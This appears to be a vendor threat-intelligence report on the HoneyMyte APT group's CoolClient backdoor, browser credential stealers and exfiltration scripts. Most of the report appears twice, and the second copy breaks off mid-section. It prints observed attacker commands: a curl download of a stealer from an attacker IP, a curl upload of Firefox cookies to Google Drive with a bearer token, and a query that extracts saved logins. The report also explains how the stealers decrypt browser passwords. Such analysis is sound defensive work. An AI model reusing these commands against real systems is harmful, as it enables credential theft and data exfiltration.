Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename	Description
Sang.exe	Legitimate Sangfor application abused for DLL sideloading.
libngs.dll	Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat	Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat	Encrypted configuration file.
main.dat	Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter	Actions
No parameter	·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install	CoolClient decrypts time.dat. Adds new key to the Run registry for persistence mechanism. Creates a process named write.exe. Decrypts and injects loader.dat into a newly created write.exe process. Checks for service control manager (SCM) access. Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe. Installs a service named media_updaten and starts it. If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work	Creates a process named write.exe. Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac	Bypasses UAC and performs privilege elevation. Checks if the machine runs Windows 10 or a later version. Impersonates svchost.exe process by spoofing PEB information. Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter. Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value	Command category
CC BB AA FF	Beaconing, status update, configuration.
CD BB AA FF	Operational commands such as tunnelling, keylogging and file operations.
No magic value	Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID	Action
0x0	Send beacon connection
0x1	Update beacon timestamp
0x2	Enumerate active user sessions
0x3	Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID	Action
0x0	Set up reverse tunnel connection
0x1	Send data through tunnel
0x2	Close tunnel connection
0x3	Set up reverse proxy
0x4	Shut down a specific socket
0x6	List files in a directory
0x7	Delete file
0x8	Set up keylogger
0x9	Terminate keylogger thread
0xA	Get clipboard data
0xB	Install clipboard and active windows monitor
0xC	Turn off clipboard and active windows monitor
0xD	Read and send file
0xE	Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID	Action
0x0	Enumerate services
0x1 / 0x4	Start or resume service
0x2	Stop service
0x3	Pause service
0x5	Create service
0x6	Delete service
0x7	Set service to start automatically at boot
0x8	Set service to be launched manually
0x9	Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID	Action
0x0	List drives and network resources
0x1	List files in folder
0x2	Delete file or folder
0x3	Create new folder
0x4	Move file
0x5	Read file
0x6	Write data to file
0x7	Compress file or folder into ZIP archive
0x8	Execute file
0x9	Download and execute file using certutil
0xA	Search for file
0xB	Send search result
0xC	Map network drive
0xD	Set chunk size for file transfers
0xF	Bulk copy or move
0x10	Get file metadata
0x11	Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant	Targeted browser(s)	Execution method	MD5 hash
A	Chrome	Direct execution (PE32)	1A5A9C013CE1B65ABC75D809A25D36A7
B	Edge	Direct execution (PE32)	E1B7EF0F3AC0A0A64F86E220F362B149
C	Chromium-based browsers	DLL side-loading	DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename	Description
Sang.exe	Legitimate Sangfor application abused for DLL sideloading.
libngs.dll	Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat	Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat	Encrypted configuration file.
main.dat	Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter	Actions
No parameter	·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install	CoolClient decrypts time.dat. Adds new key to the Run registry for persistence mechanism. Creates a process named write.exe. Decrypts and injects loader.dat into a newly created write.exe process. Checks for service control manager (SCM) access. Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe. Installs a service named media_updaten and starts it. If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work	Creates a process named write.exe. Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac	Bypasses UAC and performs privilege elevation. Checks if the machine runs Windows 10 or a later version. Impersonates svchost.exe process by spoofing PEB information. Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter. Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value	Command category
CC BB AA FF	Beaconing, status update, configuration.
CD BB AA FF	Operational commands such as tunnelling, keylogging and file operations.
No magic value	Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID	Action
0x0	Send beacon connection
0x1	Update beacon timestamp
0x2	Enumerate active user sessions
0x3	Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID	Action
0x0	Set up reverse tunnel connection
0x1	Send data through tunnel
0x2	Close tunnel connection
0x3	Set up reverse proxy
0x4	Shut down a specific socket
0x6	List files in a directory
0x7	Delete file
0x8	Set up keylogger
0x9	Terminate keylogger thread
0xA	Get clipboard data
0xB	Install clipboard and active windows monitor
0xC	Turn off clipboard and active windows monitor
0xD	Read and send file
0xE	Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID	Action
0x0	Enumerate services
0x1 / 0x4	Start or resume service
0x2	Stop service
0x3	Pause service
0x5	Create service
0x6	Delete service
0x7	Set service to start automatically at boot
0x8	Set service to be launched manually
0x9	Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID	Action
0x0	List drives and network resources
0x1	List files in folder
0x2	Delete file or folder
0x3	Create new folder
0x4	Move file
0x5	Read file
0x6	Write data to file
0x7	Compress file or folder into ZIP archive
0x8	Execute file
0x9	Download and execute file using certutil
0xA	Search for file
0xB	Send search result
0xC	Map network drive
0xD	Set chunk size for file transfers
0xF	Bulk copy or move
0x10	Get file metadata
0x11	Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant	Targeted browser(s)	Execution method	MD5 hash
A	Chrome	Direct execution (PE32)	1A5A9C013CE1B65ABC75D809A25D36A7
B	Edge	Direct execution (PE32)	E1B7EF0F3AC0A0A64F86E220F362B149
C	Chromium-based browsers	DLL side-loading	DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

